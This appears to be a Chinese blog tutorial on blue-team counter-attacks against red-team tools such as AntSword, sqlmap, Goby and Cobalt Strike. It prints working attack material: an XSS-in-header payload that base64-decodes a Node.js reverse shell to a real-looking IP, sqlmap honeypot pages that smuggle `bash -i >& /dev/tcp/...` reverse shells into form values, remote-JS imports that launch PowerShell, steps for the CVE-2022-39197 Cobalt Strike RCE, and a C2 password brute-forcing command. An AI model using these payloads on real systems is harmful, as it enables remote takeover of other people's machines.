文章目录
- 溯源反制-Webshell工具-Antsword
- 正常情况下,PHP后门上线
- 发现PHP后门,修改webshell进行反制
- 溯源反制-SQL注入工具-SQLMAP
- 溯源反制-漏洞扫描工具-Goby&Awvs
- 溯源反制-远程控制工具-CobaltStrike
- 1、伪造流量批量上线(欺骗防御)
- 2、利用漏洞(CVE-2022-39197)前一阶段爆出的CS XSS导致的RCE
- 3、反制Server,爆破密码(通用)
CS反制 Goby反制 Antsword反制 AWVS反制 BURP反制 SQLMAP反制 XSS钓鱼 蜜罐反制
溯源反制-Webshell工具-Antsword
蓝队通过修改后门的代码实现获得蚁剑使用者的权限
正常情况下,PHP后门上线
发现PHP后门,修改webshell进行反制
复现环境:
蓝队:Linux Web
红队:Windows Antsword
原理:
<?php
header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');
这里说明一下,最新版本的剑蚁已经不支持了 测试版本是2.0.7 最新版本为2.1.15
上线:
Nodejs代码:
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(xx, "xx.xx.xx.xx", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
编码组合后:
<?php
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMTIyLCAiNDcuOTQuMTMwLjQyIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==`,`base64`).toString())'>");
?>
溯源反制-SQL注入工具-SQLMAP
复现环境:
蓝队:Linux Web
红队:Linux sqlmap
蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限
原理:
命令管道符:
ping “
ls
”
构造注入点页面固定注入参数值,等待攻击者进行注入
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh 0</dev/tcp/47.94.130.42/2333 1>&0 2>&0`"
1、测试反弹编码:
bash -i >& /dev/tcp/47.94.236.117/2333 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i
2、蓝队构造页面test.php注入页面固定参数值:
<h
<html>
<head>
<meta charset="utf-8">
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单-->
<form action="username.html" method="post" enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name' value="VertiFy&id=45273434&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i`&port=6379"/>
<!--创建一个按钮,提交表单内容-->
<input type="submit" value='提交'>
</form>
</body>
</html>
3、红队攻击者进行注入测试:
sqlmap -u "http://10.10.10.1/1.php" --data "name=xiaodi&id=45273434&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i`&port=6379"
差不多就是这个意思、感觉这里还是挺鸡肋的
溯源反制-漏洞扫描工具-Goby&Awvs
复现环境:
蓝队:Linux Web
红队:Windows10 Goby
蓝队在红队攻击目标上写一个文件,红队利用goby去扫描分析时会触发反制得到机器权限
RCE:
index.php
<?php
header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//xx.xx.xx.xx/1.js'))>");
?>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>
1.js
(function(){
require('child_process').exec('calc.exe');
})();
这里将调用的1.js更换成2.js进行powershell上线
2.js上线:
(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();
很遗憾这里我并没有复现出来 。这里我使用的Goby版本是2.0.x (emmm……) 最新版本2.4.x
溯源反制-远程控制工具-CobaltStrike
复现环境:
蓝队:Linux Web
红队:Windows10 Goby
对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw
因为适用版本太老了,Versio<=3.5 这里就不在复现了,感兴趣的朋友可以试一试
2、利用漏洞(CVE-2022-39197)前一阶段爆出的CS XSS导致的RCE
Cobalt Strike <=4.7 XSS
• 获取真实ip地址
• 获取NTLM
• RCE
• SSRF
https://github.com/its-arun/CVE-2022-39197
取得红队木马样本开始操作如下:
-蓝队修改EXP里面的执行命令后编译(红队客户端触发的东西在这里修改)
修改:EvilJar/src/main/java/Exploit.java
这里可以修改为windows反弹shell命令(powershell进行编码等),注意这里使用maven进行编译
-蓝队修改svg加载地址并架设Web服务(红队的CS服务器能访问的Web服务)
修改:evil.svg 指向url地址
python -m http.server 8888
-蓝队执行EXP调用后门上线,攻击者进程查看时触发
前面准备工作都是一气呵成,这里有个一很坑的地方就是使用pip安装Frida module时,一开始安装总是报错(tiemout以及各种问题),然后我不停的换Pytthon版本emmm,最后解决是使用超级管理员权限运行cmd就好了(心中无数个?)
python cve-2022-39197.py beacon.exe http://可访问的WEB:8888/evil.svg
很遗憾的是这里我没有复现成功,测试了CS4.5以及CS.4.7 不知道是不是中文版被魔改后的问题(被打了补丁),哎,真是令人琢磨不透
不过我后续会尝试其他版本直到复现成功 呜呜复现一下午心态崩了
3、反制Server,爆破密码(通用)
针对没有采用隐匿C2地址的技术导致的反制(后门样本被溯源到C2地址)
https://github.com/ryanohoro/csbruter
python3 csbruter.py [-h] [-p PORT] [-t THREADS] host [wordlist]
python csbruter.py 47.94.236.117 pass.txt
CS服务端还是有密码登陆失败的痕迹,容易被发现
这里有前提条件:1、已获得恶意CS地址 2、获取开放CS端口 3、字典够大(万物皆可爆破)